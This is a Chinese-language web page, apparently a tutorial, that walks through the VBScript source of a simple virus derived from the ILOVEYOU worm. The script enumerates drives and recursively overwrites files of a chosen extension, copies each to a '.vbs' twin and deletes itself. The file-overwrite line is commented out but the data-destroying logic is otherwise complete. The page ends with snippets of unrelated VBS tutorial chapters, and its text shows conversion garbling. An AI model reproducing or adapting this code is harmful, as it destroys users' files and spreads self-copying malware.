vbs
病毒的簡單例子源**解析
<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
說明：作者對某些**進行了修改。該檔案是乙個完整的程式。該檔案執行之後，會尋找硬碟上所有滿足條件的檔案，對其進行強制性覆蓋（滿足條件的檔案資料將全部丟失）、並再建立乙個相同檔名但後帶
.vbs
的檔案。因此，請注意設立好破壞測試條件，千萬不要對他人進行測試，否則，一切後果自負。
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '
讀取病毒體，以備複製到檔案
self.close
set dc=fso.drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '
檢查磁碟型別
wscript.echo d '
彈出視窗，顯示找到碟符
scan(d)
end if
next
lsfile=wscript.scriptfullname '
該指令碼程式路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '
病毒執行後自我刪除
(本人自加，愛蟲病毒本身沒有該**）
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.getextensionname(file) '
獲取檔案字尾
ext=lcase(ext) '
字尾名轉換成小寫字母
if ext="mp5" then '
如果字尾名是
mp5,
當然不存在這種檔案，這裡可以自己修改，但是注意。請自己建立相應字尾名的檔案，最好是非正常字尾名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '
覆蓋檔案，慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '
建立另外乙個病毒檔案
' file.delete(true) '
刪除原來檔案
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '
搜尋其他目錄
scan(subfolder)
next
end sub
Vbs指令碼程式設計簡明教程之五
錯誤處理 引發錯誤的原因有很多，例如使用者輸入了錯誤型別的值，或者指令碼找不到必需的檔案 目錄或者驅動器，我們可以使用迴圈技術來處理錯誤，但是vbs本身也提供了一些基本技術來進行錯誤的檢測和處理。1 最常見的錯誤是執行時錯誤，也就是說錯誤在指令碼正在執行的時候發生，是指令碼試圖進行非法操作的結果。例...
Vbs指令碼程式設計簡明教程之七
fso的常見物件和方法 檔案系統是所有作業系統最重要的部分之一，指令碼經常會需要對檔案及資料夾進行訪問和管理，在vbs中對桌面和檔案系統進行訪問的頂級物件是filesystemobject fso 這個物件特別複雜，是vbs進行檔案操作的核心。此節內容應瞭如指掌。fso包含的常見物件有 drive物...
Vbs指令碼程式設計簡明教程之十一
xml namespace 4代表資料夾或目錄。代表存檔檔案。msgbox f.attributes 函式的作用是顯示檔案屬性 msgbox 二 建立檔案 檔案已存在 set f fso.createtextfile c kk.txt true 三 複製 移動 刪除檔案 使用 movefile 方法...